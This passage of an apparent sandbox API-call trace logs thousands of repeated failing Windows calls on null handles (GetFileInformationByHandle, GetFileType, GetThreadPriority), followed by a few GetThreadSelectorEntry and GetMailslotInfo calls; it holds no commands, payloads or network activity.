2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.877] GetFileType (hFile=0x0) returned 0x0 [0155.877] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.877] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.878] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.878] GetFileType (hFile=0x0) returned 0x0 [0155.878] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.879] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.879] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.879] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.880] GetFileType (hFile=0x0) returned 0x0 [0155.880] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.880] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.881] GetFileType (hFile=0x0) returned 0x0 [0155.881] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.881] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.881] GetFileType (hFile=0x0) returned 0x0 [0155.881] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.881] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.881] GetFileType (hFile=0x0) returned 0x0 [0155.881] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.881] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.881] GetFileType (hFile=0x0) returned 0x0 [0155.881] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.881] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.881] GetFileType (hFile=0x0) returned 0x0 [0155.881] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.881] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.881] GetFileType (hFile=0x0) returned 0x0 [0155.881] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.881] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.881] GetFileType (hFile=0x0) returned 0x0 [0155.881] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.881] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.881] GetFileType (hFile=0x0) returned 0x0 [0155.881] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.881] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.881] GetFileType (hFile=0x0) returned 0x0 [0155.881] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.881] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.881] GetFileType (hFile=0x0) returned 0x0 [0155.881] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.881] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.881] GetFileType (hFile=0x0) returned 0x0 [0155.881] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.882] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.882] GetFileType (hFile=0x0) returned 0x0 [0155.882] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.882] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.882] GetFileType (hFile=0x0) returned 0x0 [0155.882] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.882] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.882] GetFileType (hFile=0x0) returned 0x0 [0155.882] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.882] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.882] GetFileType (hFile=0x0) returned 0x0 [0155.882] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.882] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.882] GetFileType (hFile=0x0) returned 0x0 [0155.882] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.882] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.882] GetFileType (hFile=0x0) returned 0x0 [0155.882] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.882] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.882] GetFileType (hFile=0x0) returned 0x0 [0155.882] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.882] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.882] GetFileType (hFile=0x0) returned 0x0 [0155.882] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.882] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.882] GetFileType (hFile=0x0) returned 0x0 [0155.882] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.882] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.882] GetFileType (hFile=0x0) returned 0x0 [0155.882] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.882] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.882] GetFileType (hFile=0x0) returned 0x0 [0155.882] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.882] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.882] GetFileType (hFile=0x0) returned 0x0 [0155.882] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.882] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.882] GetFileType (hFile=0x0) returned 0x0 [0155.882] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.882] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.882] GetFileType (hFile=0x0) returned 0x0 [0155.882] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.883] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.883] GetFileType (hFile=0x0) returned 0x0 [0155.883] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.883] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.883] GetFileType (hFile=0x0) returned 0x0 [0155.883] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.883] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.883] GetFileType (hFile=0x0) returned 0x0 [0155.883] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.883] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.883] GetFileType (hFile=0x0) returned 0x0 [0155.883] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.883] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.883] GetFileType (hFile=0x0) returned 0x0 [0155.883] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.883] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.883] GetFileType (hFile=0x0) returned 0x0 [0155.883] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.883] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.883] GetFileType (hFile=0x0) returned 0x0 [0155.883] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.883] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.883] GetFileType (hFile=0x0) returned 0x0 [0155.883] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.883] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.883] GetFileType (hFile=0x0) returned 0x0 [0155.883] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.883] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.883] GetFileType (hFile=0x0) returned 0x0 [0155.883] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.883] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.883] GetFileType (hFile=0x0) returned 0x0 [0155.883] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.883] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.883] GetFileType (hFile=0x0) returned 0x0 [0155.883] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.883] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.883] GetFileType (hFile=0x0) returned 0x0 [0155.883] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.883] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.883] GetFileType (hFile=0x0) returned 0x0 [0155.883] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.883] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.884] GetFileType (hFile=0x0) returned 0x0 [0155.884] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.884] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.884] GetFileType (hFile=0x0) returned 0x0 [0156.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.579] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.579] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.579] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, 